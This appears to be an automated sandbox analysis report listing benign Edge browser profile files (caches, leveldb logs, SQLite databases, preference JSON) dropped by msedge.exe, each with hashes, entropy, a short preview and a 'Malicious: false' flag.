C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0l0os+ll:LsFK0x+/
MD5:	13184192AC64AF03DAFA2B6DF4F3985F
SHA1:	DCFE65392341AC4D4762AB759D2EFE9B242E8683
SHA-256:	3652622B359CA4A104396719A23C6B5E4B28193F56201D83FA03CFFCEC39AF30
SHA-512:	59B01FF504B5D2FB1ABD347839C03078E02868926371DA9760EE65CC0320D26CECEF9D7E53F9582AD463ABDBC8EC05BF782245B6E971BFD1C54FC94C3794BE13
Malicious:	false
Preview:	.........................................1:.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	443
Entropy (8bit):	5.187619288190012
Encrypted:	false
SSDEEP:	12:7nKdIPhYebvqBvFLrPIvsPhYebvqBQFUv:7nquhYebv8LrP6ihYebvZ2
MD5:	8E8F15429463B4EE1018ABAA1D478C82
SHA1:	4BC7B2A1FC660B0D637ED316C8AD127E8FA95A18
SHA-256:	2853B55E74AF3A8D962F4C2ABC2F7C196A7232DBF10A6761F1C6BE813EC57ED0
SHA-512:	B95DEC369ABC0D0B2265CE70019302730B5C0CB9132F1943635D65481517CD1682BBDA8A96ADE5F0ED5264B12F3DD544301C52A42D278C51987EAF3F9B6D64F4
Malicious:	false
Preview:	2025/01/11-01:54:27.900 1e80 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb since it was missing..2025/01/11-01:54:28.201 1e80 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.171179577750267
Encrypted:	false
SSDEEP:	6:iOnkoBJYDhP5c23oH+TcwtzjqEKj0QM72KLl1kEIq2TYDhP5c23oH+TcwtzjqEK6:7nkoIPhYebvqB6LrkTvsPhYebvqBZFUv
MD5:	C33D0F66F33DFBD190E19BBC60A762CC
SHA1:	F52BE5177A39B23B257B934002553B6293D63FED
SHA-256:	5B956BD6E20A9337D01E286BDE70F4C7128EB7584971C1E9AC192A247E2A84EE
SHA-512:	E12F7F593B2628D9692E458F496016AE6DC37F520B644D3E124673D4841FBDB11D95F088210500FF1BE51D3EE4B1EBF0C40D3FEE695AD075AA5FA2AFAD0530C0
Malicious:	false
Preview:	2025/01/11-01:54:44.137 1e80 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage since it was missing..2025/01/11-01:54:44.214 1e80 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.1820209802232995
Encrypted:	false
SSDEEP:	6:iOnXJYDhP5c23oH+TcwtBx2KLl1NM+q2TYDhP5c23oH+TcwtpIFUv:7niPhYebBVLre+vsPhYebmFUv
MD5:	F92D9C03431245DC08531F48A982C9D7
SHA1:	D384D75EE515B3FB624860790AE466B6F11BEF43
SHA-256:	DA00A6D575C60EA3FE40B939E9883A4608DC3921E95E5FDB4A50D6C5609CCD0C
SHA-512:	00DE1C84041C3EDE262DBB724FDDA8E696CB75D7450F90D53632A632CEDDAA1F48288BD9818D24AC9A8B779A8C4D0734BC77D2CE8982CDFF4917314DDDDB3D70
Malicious:	false
Preview:	2025/01/11-01:54:26.175 1a1c Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB since it was missing..2025/01/11-01:54:26.282 1a1c Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.35825715040616096
Encrypted:	false
SSDEEP:	12:TLiNUyq1YA5yEHFxOUwa5qguyZ75fOSme2d:TLiuym8I6Uwcc25fBlC
MD5:	C46D4F7E6D7914D5FE3E867B0FC00A9F
SHA1:	8D7C399B0E4E3A76BC442C6D08C4F97C289B261B
SHA-256:	71C6980F5120E57C4E0AA0CC50B19D1F64C3837B5B174C504CB424BFF63AA7F3
SHA-512:	12133A44B66510634853E80C8B9AC8703642B2E95610CAFE8FFEC4358E0F648EE20742961E183230AB4E41AD5D0DEB2D47D2451A4D432FE6CD05B96D017DE16F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002110589502647469
Encrypted:	false
SSDEEP:	3:ImtVnv9l:IiVv9l
MD5:	8D771947170D30DAB3A52CEC2BB9AFE4
SHA1:	92DA9DD9D9CF25E82F56D46F0ABA8653547E2777
SHA-256:	664A517037B90B58ACE668CC65F5C7992F10A75A9EE66E1937CD0FCC10D988DB
SHA-512:	834A13564C8B744E47F15C0BE5ABB8B7A90CEE5704E8A3A22060B2F79AEC43A859ABC6F838865862DC2BDE171757BE4E5D0066216A839913626DC1CE91C14136
Malicious:	false
Preview:	VLnk.....?.......GgZ.y-................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 3, database pages 58, cookie 0x25, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	1.147796728702347
Encrypted:	false
SSDEEP:	192:mPoZY9zIH9xhoOnGCTjHbRjyeoqtzK1eaW29E6Vumy6W:mPh9za9xxnseoqtzK1en2/Vumyn
MD5:	B404F5155133E179BF8A1A19F02B4048
SHA1:	14403560C11C2D36D0C06341464D9A2DFB7C074D
SHA-256:	E1963A90ACD3D0F4DBB2748B8C43BDD1E013D3D188499B8165DB87B6679DA038
SHA-512:	3D5D2FE53ADE8EEAE1249B004052DB07E16A2F0149590FAE0EC0DF11854064291B150ECED8B1AA87F73872AFE78CAF91D178773C902EECABC6AD61F73576CAA4
Malicious:	false
Preview:	SQLite format 3......@ .......:...........%......................................................S`...........2........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.6861432096545633
Encrypted:	false
SSDEEP:	12:LBtiNQNr6XpAwqAYqAdjAX9lFyDcAAcAopAOFw6zhKPf0ehdkAX9g/u+:LLi+NWXp22iSBscGiOxhK3thdkSKm+
MD5:	CD94C4D2E58565DFA7894D1D9A7FDF95
SHA1:	1041FA15171CCEC920D2D62BEF6824F67FA56901
SHA-256:	AAFAE4BA38E8CD120EC8881D6DFA7AE18E1EB17763345EB3D2476075B40658DE
SHA-512:	F0F43F25A473851DF8C2B8C38367435F39D9E25EDC65E124C6CE938210735A193A23E69280B8503D52A8C0BE25D62FA8051A5CB85A2208A52B47E6328D3BB2F2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`...............^....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\a14c0f62-50b6-4212-af3b-5b2b74bab812.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4991
Entropy (8bit):	4.853684242513618
Encrypted:	false
SSDEEP:	96:nonz1XFZ1aPjS+wwiIMti+NmdeHP7kGVWQyV+VDCAimF:no1EO+YI3+vIG6U
MD5:	C2D04B7B8C77CC6ECD856490ED9F930E
SHA1:	D4FD6DD0AA760951D1C7CE382ADAE20B5BC02596
SHA-256:	AC8F1F61A3AD0382DE68EE520B70064B30232E152DBDD8A479C2F8C90649C625
SHA-512:	B9D1536A46E2B10569B535A3B6D2E77A837049488D6B23B0A1AF71413DA01A4DEDB1F713A54233A9F854B3DC8FB29124989DFFB62AA37B1D2C0058A1A7204BA6
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13381052067045495","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2871},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13381052067045053"},"download":{"default_directory":""},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_sitelist_location":"","consumer_sitelist_version":"","shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_e

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\b04a53e9-e829-40a2-bd2d-80571496c6a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\b851f156-c129-4d54-982c-e18bbd14889f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23937
Entropy (8bit):	5.5906478455741215
Encrypted:	false
SSDEEP:	384:naSfCtvFLKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OV9LlG9yCBrUFgpFIOIjug:na4W9L8F1+UoAYDCx9Tuqh0VfUC9xboP
MD5:	291B941D0A5E8FC0A83EFA4D877B061C
SHA1:	0B6F7F88B1D192040A44F71F02610A9516C62CD3
SHA-256:	5EF5555E5373FB1F367E3BE29DD12342BA0EAA8E45585FAC2C4A36ED156B2A62
SHA-512:	7FC0ABD03ACBAA5BFC847C1DF8149B34A2B36D53B14C09E7296135E853DFF3BF2A0040A2F8FB809C365E26122B3E336DB96ADEDD33865D72FC45820E1701A53F
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"state":1},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13381052066563424","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","https://*excel.dod.onli

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000002.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Xv:1qIF/
MD5:	206702161F94C5CD39FADD03F4014D98
SHA1:	BD8BFC144FB5326D21BD1531523D9FB50E1B600A
SHA-256:	1005A525006F148C86EFCBFB36C6EAC091B311532448010F70F7DE9A68007167
SHA-512:	0AF09F26941B11991C750D1A2B525C39A8970900E98CBA96FD1B55DBF93FEE79E18B8AAB258F48B4F7BDA40D059629BC7770D84371235CDB1352A4F17F80E145
Malicious:	false
Preview:	MANIFEST-000002.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.168711586230653
Encrypted:	false
SSDEEP:	6:iOnZhuReqJYDhP5c23oH+TcwtU4ERcFOjB2KLl1Zhs5h7g:7nrPhYebUJOMjFLr6Vg
MD5:	52DBE84E1D2FEE572FDB86D358846304
SHA1:	CD586A5C77CD45DDEC5AF66B5F1F654827BAAA6B
SHA-256:	AC2ADF825406180CF3AAC6DFCC46A43D281C0751FEAC1591F048459D45DA790C
SHA-512:	1B24E69B6EC419F354DB595516EECDBC8313AA4359415B6ACD2E1B60DD7F9E67FD56A122A27F31F2D6DF9B3E34B469637A8BE2783AD7FCC3B31A8C5A77B7185A
Malicious:	false
Preview:	2025/01/11-01:54:30.667 5a8 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb since it was missing..2025/01/11-01:54:30.755 5a8 Delete type=3 #1.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.948758439731456
Encrypted:	false
SSDEEP:	3:Ukk/vxQRDKIVqU0blS:oO7iblS
MD5:	22BF0E81636B1B45051B138F48B3D148
SHA1:	56755D203579AB356E5620CE7E85519AD69D614A
SHA-256:	E292F241DAAFC3DF90F3E2D339C61C6E2787A0D0739AAC764E1EA9BB8544EE97
SHA-512:	A4CF1F5C74E0DF85DDA8750BE9070E24E19B8BE15C6F22F0C234EF8423EF9CA3DB22BA9EF777D64C33E8FD49FADA6FCCA26C1A14BA18E8472370533A1C65D8D0
Malicious:	false
Preview:	V........leveldb.BytewiseComparator...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.340905649345012
Encrypted:	false
SSDEEP:	12:TLiqiUnGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiZNiD+lZk/Fj+6UwccNp15fBG
MD5:	B11E5455DBFF7FCC2B02933DB574441D
SHA1:	3EE66D609B4260B5A65524E2E2B6AF5E88B07EEF
SHA-256:	083E9F0A764A91F7E1DE106C893A78BF46321585E0682C54C4B690433FF87903
SHA-512:	9ABC60253E12F631EF11C70CFD4D8C2FAEFE17853AB83AAA43ED90484B76BCE016F3E51D7EB602239C97F87987F08B433F10836168C06CA195F54A8BE8319BF0
Malicious:	false
